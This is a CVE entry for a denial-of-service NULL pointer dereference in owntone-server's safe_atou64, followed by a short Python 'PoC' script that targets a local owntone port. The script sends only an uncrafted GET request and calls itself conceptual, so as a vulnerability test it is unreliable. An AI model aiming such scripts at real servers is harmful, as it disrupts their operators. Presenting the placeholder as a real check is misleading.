CVE-2026-26829

import requests def trigger_poc(url): """ PoC for CVE-2026-26829: NULL pointer dereference in safe_atou64 Sending crafted HTTP requests to trigger DoS. """ try: # Attempt to send a request that might trigger parsing issues in safe_atou64 # This is a conceptual PoC based on the description. payload = {} headers = {'User-Agent': 'CVE-2026-26829-Test'} # Example endpoint that might process numeric input via safe_atou64 # Adjust the endpoint based on actual API implementation response = requests.get(url, params=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("If the server crashes, the vulnerability is confirmed.") except Exception as e: print(f"Request failed or server went down: {e}") if __name__ == "__main__": target_url = "http://localhost:3689" # Default port for owntone trigger_poc(target_url)

{"cve": {"id": "CVE-2026-26829", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:48.047", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the safe_atou64 function (src/misc.c) of owntone-server through commit c4d57aa allows attackers to cause a Denial of Service (DoS) via sending a series of crafted HTTP requests to the server."}, {"lang": "es", "value": "Una desreferencia de puntero NULL en la función safe_atou64 (src/misc.c) de owntone-server hasta el commit c4d57aa permite a los atacantes causar una Denegación de Servicio (DoS) mediante el envío de una serie de solicitudes HTTP manipuladas al servidor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://github.com/archersec/poc/tree/master/owntone-server-2", "source": "[email protected]"}, {"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2026.md", "source": "[email protected]"}, {"url": "https://github.com/owntone/owntone-server/commit/41e3733cccd527918a08cf05694c5493341bb70f", "source": "[email protected]"}]}}